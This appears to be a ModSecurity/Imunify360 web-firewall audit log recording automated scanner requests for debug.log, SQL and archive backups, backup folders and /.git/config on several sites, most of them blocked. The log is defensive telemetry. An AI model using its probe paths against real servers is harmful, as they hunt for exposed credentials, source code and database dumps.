[13/Sep/2026:09:26:19.618899 +0300] aqZCC0wu1RSkptiiNIX0DQAAAJE 169.40.142.190 38948 127.0.0.1 7081
--7be43c75-B--
GET /wp-content/debug.log HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--7be43c75-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7be43c75-H--
Message: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqZCC0wu1RSkptiiNIX0DQAAAJE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqZCC0wu1RSkptiiNIX0DQAAAJE"]
Action: Intercepted (phase 2)
Stopwatch: 1789280779548896 70057 (- - -)
Stopwatch2: 1789280779548896 70057; combined=76372, p1=343, p2=59142, p3=0, p4=0, p5=8594, sr=155, sw=0, l=0, gc=8293
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7be43c75-Z--
--372fcf35-A--
[13/Sep/2026:09:26:28.244400 +0300] aqZCFGM7dE9KgIIOpQhrbAAAANY 169.40.142.190 37938 127.0.0.1 7081
--372fcf35-B--
GET /backup.sql HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--372fcf35-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--372fcf35-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqZCFGM7dE9KgIIOpQhrbAAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqZCFGM7dE9KgIIOpQhrbAAAANY"]
Action: Intercepted (phase 2)
Stopwatch: 1789280788186536 57906 (- - -)
Stopwatch2: 1789280788186536 57906; combined=56647, p1=258, p2=56030, p3=0, p4=0, p5=359, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--372fcf35-Z--
--81ba8924-A--
[13/Sep/2026:09:26:28.651416 +0300] aqZCFDTJ6xTvcJoem7f4dwAAAEc 169.40.142.190 37942 127.0.0.1 7081
--81ba8924-B--
GET /backup.sql.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--81ba8924-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--81ba8924-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqZCFDTJ6xTvcJoem7f4dwAAAEc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqZCFDTJ6xTvcJoem7f4dwAAAEc"]
Action: Intercepted (phase 2)
Stopwatch: 1789280788593432 58032 (- - -)
Stopwatch2: 1789280788593432 58032; combined=56932, p1=238, p2=56363, p3=0, p4=0, p5=330, sr=119, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--81ba8924-Z--
--7aed235e-A--
[13/Sep/2026:09:26:30.069321 +0300] aqZCFmM7dE9KgIIOpQhrbQAAANA 169.40.142.190 37956 127.0.0.1 7081
--7aed235e-B--
GET /backup.zip HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--7aed235e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--7aed235e-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqZCFmM7dE9KgIIOpQhrbQAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqZCFmM7dE9KgIIOpQhrbQAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789280790013520 55843 (- - -)
Stopwatch2: 1789280790013520 55843; combined=54619, p1=305, p2=54030, p3=0, p4=0, p5=283, sr=115, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7aed235e-Z--
--eb66b52d-A--
[13/Sep/2026:09:26:31.551770 +0300] aqZCF2M7dE9KgIIOpQhrbgAAAMw 169.40.142.190 37958 127.0.0.1 7081
--eb66b52d-B--
GET /backup.tar.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--eb66b52d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--eb66b52d-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqZCF2M7dE9KgIIOpQhrbgAAAMw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqZCF2M7dE9KgIIOpQhrbgAAAMw"]
Action: Intercepted (phase 2)
Stopwatch: 1789280791494892 57036 (- - -)
Stopwatch2: 1789280791494892 57036; combined=55640, p1=241, p2=54861, p3=0, p4=0, p5=538, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--eb66b52d-Z--
--588ec43f-A--
[13/Sep/2026:09:26:36.087978 +0300] aqZCHGM7dE9KgIIOpQhrcwAAANc 169.40.142.190 45946 127.0.0.1 7081
--588ec43f-B--
GET /wp-content/uploads/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--588ec43f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--588ec43f-E--
--588ec43f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_autoindex.c"] [line 2329] [level 3] AH01276: Cannot serve directory /var/www/vhosts/axapres.ro/httpdocs/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
Apache-Handler: httpd/unix-directory
Stopwatch: 1789280796082424 5620 (- - -)
Stopwatch2: 1789280796082424 5620; combined=4234, p1=240, p2=3558, p3=57, p4=7, p5=371, sr=91, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--588ec43f-Z--
--5ae3a040-A--
[13/Sep/2026:09:26:38.702561 +0300] aqZCHkwu1RSkptiiNIX0EQAAAIw 169.40.142.190 45948 127.0.0.1 7081
--5ae3a040-B--
GET /wp-content/backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--5ae3a040-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5ae3a040-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqZCHkwu1RSkptiiNIX0EQAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqZCHkwu1RSkptiiNIX0EQAAAIw"]
Action: Intercepted (phase 2)
Stopwatch: 1789280798642452 60150 (- - -)
Stopwatch2: 1789280798642452 60150; combined=58104, p1=598, p2=57230, p3=0, p4=0, p5=276, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ae3a040-Z--
--dd1aef33-A--
[13/Sep/2026:09:26:43.875322 +0300] aqZCI0wu1RSkptiiNIX0FQAAAIo 169.40.142.190 45982 127.0.0.1 7081
--dd1aef33-B--
GET /wp-content/ai1wm-backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--dd1aef33-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dd1aef33-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqZCI0wu1RSkptiiNIX0FQAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqZCI0wu1RSkptiiNIX0FQAAAIo"]
Action: Intercepted (phase 2)
Stopwatch: 1789280803821096 54279 (- - -)
Stopwatch2: 1789280803821096 54279; combined=53075, p1=239, p2=52548, p3=0, p4=0, p5=288, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dd1aef33-Z--
--f40d506d-A--
[13/Sep/2026:09:37:53.323214 +0300] aqZEwTTJ6xTvcJoem7f4mQAAAFI 216.81.200.63 44262 127.0.0.1 7081
--f40d506d-B--
GET /.git/config HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 216.81.200.63
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip
--f40d506d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f40d506d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZEwTTJ6xTvcJoem7f4mQAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZEwTTJ6xTvcJoem7f4mQAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ebcon.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZEwTTJ6xTvcJoem7f4mQAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789281473132945 190323 (- - -)
Stopwatch2: 1789281473132945 190323; combined=34352, p1=1075, p2=33189, p3=0, p4=0, p5=87, sr=204, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f40d506d-Z--
--4404271e-A--
[13/Sep/2026:09:59:42.351456 +0300] aqZJ3kwu1RSkptiiNIX1GAAAAIA 216.81.248.147 60982 127.0.0.1 7081
--4404271e-B--
GET /.git/config HTTP/1.1
Host: funshop.ro
X-Real-IP: 216.81.248.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 9; GM1917) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip
--4404271e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--4404271e-E--
--4404271e-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
